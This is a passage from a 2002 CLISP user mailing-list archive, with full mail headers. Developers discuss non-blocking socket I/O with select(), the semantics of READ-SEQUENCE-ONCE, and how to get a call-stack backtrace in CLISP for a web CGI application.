A. call select() B. for every socket indicated by select, invoke read-or-write-some. This is guaranteed to be non-blocking thanks to (my interpretation of?) select. C. Repeat by A. This should yield fast threaded i/o which I believe works even without blocking sockets. This doesn't take into account the neccessity of using non-blocking to do asynchronous connect() calls. Comments on your experience whether this actually works? Or is non-blocking behaviour nevertheless required? Dave Richards wrote: >Non-blocking is required to ensure that each I/O only performs what is >possible with no delay and that the server is then available to perform >other work. This is what I meant by partial read()s/write()s. I believe non-blocking is not needed if preceeded by select(). Would you like to comment? Regards, Jorg Hohle. From hin@van-halen.alma.com Wed Oct 02 10:39:51 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wnTR-0005no-00 for ; Wed, 02 Oct 2002 10:39:49 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g92HdlIS004309 for ; Wed, 2 Oct 2002 13:39:47 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g92HdlwW004306; Wed, 2 Oct 2002 13:39:47 -0400 Message-Id: <200210021739.g92HdlwW004306@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] How to get the call stack? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 10:42:58 2002 X-Original-Date: Wed, 2 Oct 2002 13:39:47 -0400 I'm writing a Web CGI app in CLISP and at certain points where an error is signaled I would like to display the eval/call stack on the Web along with the rest of the error message. Ideally I would like to be able to get, for each frame, at least function name, but if possible also the arguments and even better the source file and line number. Any way to do this? Or is there a better way to handle this situation? The process will be running as a child of the Web server so it is not obvious to me how to detach it or save state so I could examine it w/ an interactive debugger. I'm already aware of solutions that involve wrapping DEFUN in a macro so I can maintain the current stack info myself, but (a) I don't want to have to write that and (b) I don't want all that overhead with every function call, even in a development environment. Is there a way to get a data structure containing such info? Poking around w/ APROPPOS, I see EXT:SHOW-STACK but it's not documented and I think more for CLISP-developer use. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@gnu.org Wed Oct 02 10:47:31 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wnat-0008QY-00 for ; Wed, 02 Oct 2002 10:47:31 -0700 Received: (cpmta 16283 invoked from network); 2 Oct 2002 10:47:28 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 2 Oct 2002 10:47:28 -0700 X-Sent: 2 Oct 2002 17:47:28 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g92HlPx05505; Wed, 2 Oct 2002 13:47:25 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: clisp-list@lists.sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: READ-SEQUENCE-ONCE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 10:49:39 2002 X-Original-Date: 02 Oct 2002 13:47:25 -0400 > * In message > * On the subject of "AW: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SE QUENCE" > * Sent on Wed, 2 Oct 2002 18:49:48 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > >Note that we already have READ-BYTE-SEQUENCE and READ-CHAR-SEQUENCE (in > >addition to READ-SEQUENCE). In addition to READ-SEQUENCE-ONCE, you > >will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE > >(and make them generic functions too - see gray.lisp) > > Argh... Too much overhead IMHO. :-( no overhead at all. STREAM-READ-SEQUENCE-ONCE is generic, but it is used only for gray streams. The built-in streams, like socket steams, use the built-in READ-SEQUENCE-ONCE directly. > BTW, I forgot why READ-BYTE/CHAR-SEQUENCE are needed in addition to > the CLHS READ-SEQUENCE. Bruno Haible explained that once IIRC. I hope Bruno will speak up here. defs2.lisp says: ;; READ-SEQUENCE and WRITE-SEQUENCE are badly specified because they assume ;; that the stream has a unique element type, either subtype of CHARACTER or ;; subtype of INTEGER. But some streams (esp. generic-streams) have a type ;; of (OR CHARACTER INTEGER). So, Joerg, are you gonna do the READ/WRITE-SEQUENCE-ONCE patch? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux In the race between idiot-proof software and idiots, the idiots are winning. From sds@gnu.org Wed Oct 02 11:38:42 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17woOP-0004QH-00 for ; Wed, 02 Oct 2002 11:38:41 -0700 Received: (cpmta 7199 invoked from network); 2 Oct 2002 11:38:37 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 2 Oct 2002 11:38:37 -0700 X-Sent: 2 Oct 2002 18:38:37 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g92IcZ805601; Wed, 2 Oct 2002 14:38:35 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to get the call stack? References: <200210021739.g92HdlwW004306@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200210021739.g92HdlwW004306@van-halen.alma.com> Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 11:40:09 2002 X-Original-Date: 02 Oct 2002 14:38:35 -0400 > * In message <200210021739.g92HdlwW004306@van-halen.alma.com> > * On the subject of "[clisp-list] How to get the call stack?" > * Sent on Wed, 2 Oct 2002 13:39:47 -0400 > * Honorable "John K. Hinsdale" writes: > > I'm writing a Web CGI app in CLISP and at certain points where an > error is signaled I would like to display the eval/call stack on the > Web along with the rest of the error message. Ideally I would like to > be able to get, for each frame, at least function name, but if > possible also the arguments and even better the source file and line > number. with interpreted code, :bt4 will get you what you want. that's (sys::debug-backtrace 4). > Any way to do this? Or is there a better way to handle this > situation? The process will be running as a child of the Web server > so it is not obvious to me how to detach it or save state so I could > examine it w/ an interactive debugger. > > I'm already aware of solutions that involve wrapping DEFUN in a macro > so I can maintain the current stack info myself, but (a) I don't want > to have to write that and (b) I don't want all that overhead with > every function call, even in a development environment. > > Is there a way to get a data structure containing such info? Poking > around w/ APROPPOS, I see EXT:SHOW-STACK but it's not documented and I > think more for CLISP-developer use. this is the only thing you can use now. it is equivalent to :bt1 in the debugger. it prints everything on the STACK at the call time, and with certain care, you can decipher it and understand the call stack. A priori, we do not know whether, say, a closure on the STACK is a funcalled object or an argument to another funcall. SP might help there. But neither SYS::DEBUG-BACKTRACE nor EXT:SHOW-STACK examine it. Bruno, could you please comment? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Is there another word for synonym? From haible@ilog.fr Wed Oct 02 16:47:28 2002 Received: from ftp.ilog.fr ([81.80.162.195]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wtDE-0003AT-00 for ; Wed, 02 Oct 2002 16:47:28 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [193.55.64.1]) by ftp.ilog.fr (8.11.6/8.11.6) with ESMTP id g92NlOK23086 for ; Thu, 3 Oct 2002 01:47:24 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.138]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id g92NlNH03427; Thu, 3 Oct 2002 01:47:23 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id BAA12104; Thu, 3 Oct 2002 01:47:55 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15771.34219.590346.68574@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: Lisp stack overflow. What to do? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 16:49:40 2002 X-Original-Date: Thu, 3 Oct 2002 01:47:55 +0200 (CEST) Pascal Bourguignon wrote: > How can one increase the stack size? The -m option does it. A fixed portion (one sixteenth or so) or the given memory amount is used for the Lisp stack. The "ulimit -s" trick would have applied if the error message had been "Program stack overflow". > Even for the functions that are documented, it's quite imprecise. The documentation assumes a certain amount of common sense. For example, functions returning boolean are described as "Returns true if ." We don't add a sentence "Return false if not." because it is obvious to most users, and we don't want bore them. > For example you can't know from the doc whether ext:run-program runs > it asynchronously or not. This is not specified because this is implementation dependent; it depends on the operating system. However those things that you can influence are documented, such as the :WAIT argument: WAIT whether to wait for program termination or not (this is useful when no i/o to the process is needed). Again, it is common sense that you cannot expect an asynchronous operation on OSes like DOS or when you pass :WAIT T. Bruno From haible@ilog.fr Wed Oct 02 16:54:29 2002 Received: from ftp.ilog.fr ([81.80.162.195]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wtK0-0004MS-00 for ; Wed, 02 Oct 2002 16:54:28 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [193.55.64.1]) by ftp.ilog.fr (8.11.6/8.11.6) with ESMTP id g92NsOK23106; Thu, 3 Oct 2002 01:54:24 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.138]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id g92NsNH03858; Thu, 3 Oct 2002 01:54:23 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id BAA12117; Thu, 3 Oct 2002 01:54:55 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15771.34639.111558.854563@honolulu.ilog.fr> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: READ-SEQUENCE-ONCE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 17:00:15 2002 X-Original-Date: Thu, 3 Oct 2002 01:54:55 +0200 (CEST) Sam writes: > > In addition to READ-SEQUENCE-ONCE, you > > will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE If you rename them to READ-CHAR-SEQUENCE-NONBLOCKING and READ-BYTE-SEQUENCE-NONBLOCKING it's easier to understand what they do. > > BTW, I forgot why READ-BYTE/CHAR-SEQUENCE are needed in addition to > > the CLHS READ-SEQUENCE. Bruno Haible explained that once IIRC. They are needed because some streams support both characters and integers, and when you read into a sequence that can hold both (like a LIST or a (VECTOR T)) the implementation couldn't know which side of the stream to use. Bruno From sds@gnu.org Wed Oct 02 16:58:41 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wtO5-0004zP-00 for ; Wed, 02 Oct 2002 16:58:41 -0700 Received: (cpmta 21537 invoked from network); 2 Oct 2002 16:58:38 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 2 Oct 2002 16:58:38 -0700 X-Sent: 2 Oct 2002 23:58:38 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g92NwaR14490; Wed, 2 Oct 2002 19:58:36 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Bruno Haible Cc: clisp-list@lists.sourceforge.net References: <15771.34639.111558.854563@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15771.34639.111558.854563@honolulu.ilog.fr> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: READ-SEQUENCE-ONCE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 17:02:15 2002 X-Original-Date: 02 Oct 2002 19:58:36 -0400 > * In message <15771.34639.111558.854563@honolulu.ilog.fr> > * On the subject of "Re: READ-SEQUENCE-ONCE" > * Sent on Thu, 3 Oct 2002 01:54:55 +0200 (CEST) > * Honorable Bruno Haible writes: > > Sam writes: > > > In addition to READ-SEQUENCE-ONCE, you > > > will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE > > If you rename them to READ-CHAR-SEQUENCE-NONBLOCKING and > READ-BYTE-SEQUENCE-NONBLOCKING it's easier to understand what they do. But they are _not_ non-blocking! they call read/write just once, and if that blocks, they do too. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux The difference between theory and practice is that in theory there isn't any. From haible@ilog.fr Wed Oct 02 17:03:50 2002 Received: from ftp.ilog.fr ([81.80.162.195]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wtT0-0007SL-00 for ; Wed, 02 Oct 2002 17:03:46 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [193.55.64.1]) by ftp.ilog.fr (8.11.6/8.11.6) with ESMTP id g9303hK23131 for ; Thu, 3 Oct 2002 02:03:43 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.138]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id g9303gH04372; Thu, 3 Oct 2002 02:03:42 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id CAA12202; Thu, 3 Oct 2002 02:04:14 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15771.35198.890395.898283@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: FFI - Creating c-places in LISP? -> READ-SOME-SEQUENCE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 17:09:29 2002 X-Original-Date: Thu, 3 Oct 2002 02:04:14 +0200 (CEST) Joerg wrote: > I believe non-blocking is not needed if preceeded by select(). Would > you like to comment? select() does not tell you how many bytes of input you can read, or how many bytes you can write, without blocking. Thus if you want to avoid blocking, you have to read() or write() the bytes one by one, which damages performance if there is not a computation intensive counterpart on the Lisp side. Therefore most Unices offer the ability to put a socket or file descriptor into non-blocking mode. Bruno From haible@ilog.fr Wed Oct 02 17:08:40 2002 Received: from ftp.ilog.fr ([81.80.162.195]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wtXj-0000ua-00 for ; Wed, 02 Oct 2002 17:08:39 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [193.55.64.1]) by ftp.ilog.fr (8.11.6/8.11.6) with ESMTP id g9308YK23154; Thu, 3 Oct 2002 02:08:34 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.138]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id g9308WH04603; Thu, 3 Oct 2002 02:08:32 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id CAA12205; Thu, 3 Oct 2002 02:07:46 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15771.35410.767517.918473@honolulu.ilog.fr> To: sds@gnu.org Cc: "John K. Hinsdale" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to get the call stack? In-Reply-To: References: <200210021739.g92HdlwW004306@van-halen.alma.com> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 17:14:43 2002 X-Original-Date: Thu, 3 Oct 2002 02:07:46 +0200 (CEST) Sam writes: > it prints everything on the STACK at the call time, and with certain > care, you can decipher it and understand the call stack. > > A priori, we do not know whether, say, a closure on the STACK is a > funcalled object or an argument to another funcall. > SP might help there. > But neither SYS::DEBUG-BACKTRACE nor EXT:SHOW-STACK examine it. It is correct. Many compilers nowadays generate debug information even for optimized code, but the clisp bytecode compiler does not do this. It would be a big but very useful project... Bruno From sds@gnu.org Wed Oct 02 17:14:28 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wtdL-0002Ug-00 for ; Wed, 02 Oct 2002 17:14:27 -0700 Received: (cpmta 20119 invoked from network); 2 Oct 2002 17:14:25 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 2 Oct 2002 17:14:25 -0700 X-Sent: 3 Oct 2002 00:14:25 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g930EOU14562; Wed, 2 Oct 2002 20:14:24 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to get the call stack? References: <200210021739.g92HdlwW004306@van-halen.alma.com> <15771.35410.767517.918473@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15771.35410.767517.918473@honolulu.ilog.fr> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 17:17:26 2002 X-Original-Date: 02 Oct 2002 20:14:24 -0400 > * In message <15771.35410.767517.918473@honolulu.ilog.fr> > * On the subject of "Re: [clisp-list] How to get the call stack?" > * Sent on Thu, 3 Oct 2002 02:07:46 +0200 (CEST) > * Honorable Bruno Haible writes: > > Sam writes: > > it prints everything on the STACK at the call time, and with certain > > care, you can decipher it and understand the call stack. > > > > A priori, we do not know whether, say, a closure on the STACK is a > > funcalled object or an argument to another funcall. > > SP might help there. > > But neither SYS::DEBUG-BACKTRACE nor EXT:SHOW-STACK examine it. > > It is correct. Many compilers nowadays generate debug information > even for optimized code, but the clisp bytecode compiler does not do > this. It would be a big but very useful project... What about SP - does it already contain the information necessary to split STACK into funcall sections or not? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Garbage In, Gospel Out From hin@van-halen.alma.com Wed Oct 02 17:04:47 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wtTy-0007h1-00 for ; Wed, 02 Oct 2002 17:04:46 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g9304gIS005488; Wed, 2 Oct 2002 20:04:42 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g9304gej005485; Wed, 2 Oct 2002 20:04:42 -0400 Message-Id: <200210030004.g9304gej005485@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 02 Oct 2002 14:38:35 -0400) Subject: Re: [clisp-list] How to get the call stack? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 17:23:13 2002 X-Original-Date: Wed, 2 Oct 2002 20:04:42 -0400 >> I'm writing a Web CGI app in CLISP and at certain points where an >> error is signaled I would like to display the eval/call stack on the > with interpreted code, :bt4 will get you what you want. > that's (sys::debug-backtrace 4). OK I tried that: (defun a (x) (+ 2 x)) (defun b (y) (a (- 3 y))) (defun c (z) (describe (sys::debug-backtrace 4)) (* 9 (b z))) (c 7) and I got this error. *** - SYSTEM::FRAME-UP-1: NIL is not a stack pointer > it is equivalent to :bt1 in the debugger. > it prints everything on the STACK at the call time, and with certain > care, you can decipher it and understand the call stack. no problem; I don't mind wading through a data structure as long as I can get to what I need. I've gotten pretty used to having this info in Java & perl. It's indescribably handy when a critical Web site has some anomalous error and you can see the trace right away where in the code it was, and with what args. (I've got some sites running at clients that will send me an Email and can find, and sometimes even fix, the problem before the user has literally stepped away for coffee or picked up the phone to complain). It scares them a bit actually :) Another longer-term use I would make is to extend the METERING.LISP module to compile runtime/consing stats on a function call-graph basis, much in the way that "gprof" extends "prof" for "C" profiling. If all else fails, I would fall back on warpping function definitions in a macro that maintains this info in data structures of my own, but it seems like a reasonable thing to get from the CLISP interpreter. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From haible@ilog.fr Wed Oct 02 17:17:36 2002 Received: from ftp.ilog.fr ([81.80.162.195]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wtgL-0004eZ-00 for ; Wed, 02 Oct 2002 17:17:33 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [193.55.64.1]) by ftp.ilog.fr (8.11.6/8.11.6) with ESMTP id g930HTK23178; Thu, 3 Oct 2002 02:17:29 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.138]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id g930HSH05088; Thu, 3 Oct 2002 02:17:28 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id CAA12257; Thu, 3 Oct 2002 02:18:00 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15771.36024.266688.301632@honolulu.ilog.fr> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <15771.34639.111558.854563@honolulu.ilog.fr> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: READ-SEQUENCE-ONCE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 17:24:28 2002 X-Original-Date: Thu, 3 Oct 2002 02:18:00 +0200 (CEST) Sam writes: > > If you rename them to READ-CHAR-SEQUENCE-NONBLOCKING and > > READ-BYTE-SEQUENCE-NONBLOCKING it's easier to understand what they do. > > But they are _not_ non-blocking! > they call read/write just once, and if that blocks, they do too. This is not a well-defined description of some semantics, because a single read() on a BSD system is not the same thing as a single read() on a SysV system. On SysV, read() can return with a "short read" spuriously, i.e. it can fill into the buffer fewer bytes than are actually available - for no visible reason. Whereas on BSD systems, your READ-BYTE-SEQUENCE-ONCE function will behave just like READ-BYTE-SEQUENCE. It's useless to introduce such variants if you cannot describe in a portable way how they behave. Bruno From sds@gnu.org Wed Oct 02 17:30:02 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wtsP-0002ZF-00 for ; Wed, 02 Oct 2002 17:30:01 -0700 Received: (cpmta 6342 invoked from network); 2 Oct 2002 17:29:59 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 2 Oct 2002 17:29:59 -0700 X-Sent: 3 Oct 2002 00:29:59 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g930Twg14664; Wed, 2 Oct 2002 20:29:58 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to get the call stack? References: <200210030004.g9304gej005485@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200210030004.g9304gej005485@van-halen.alma.com> Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 17:37:24 2002 X-Original-Date: 02 Oct 2002 20:29:58 -0400 > * In message <200210030004.g9304gej005485@van-halen.alma.com> > * On the subject of "Re: [clisp-list] How to get the call stack?" > * Sent on Wed, 2 Oct 2002 20:04:42 -0400 > * Honorable "John K. Hinsdale" writes: > > >> I'm writing a Web CGI app in CLISP and at certain points where an > >> error is signaled I would like to display the eval/call stack on the > > > with interpreted code, :bt4 will get you what you want. > > that's (sys::debug-backtrace 4). > > OK I tried that: > > (defun a (x) (+ 2 x)) > (defun b (y) (a (- 3 y))) > (defun c (z) > (describe (sys::debug-backtrace 4)) > (* 9 (b z))) > (c 7) > > and I got this error. > > *** - SYSTEM::FRAME-UP-1: NIL is not a stack pointer please look at reploop.lisp - you need to bind some variable &c... > I've gotten pretty used to having this info in Java & perl. Absolutely. this is one of the places that __really__ need work. any volunteers? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux I haven't lost my mind -- it's backed up on tape somewhere. From haible@ilog.fr Wed Oct 02 18:00:29 2002 Received: from ftp.ilog.fr ([81.80.162.195]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wuLs-0008UR-00 for ; Wed, 02 Oct 2002 18:00:28 -0700 Received: from laposte.ilog.fr 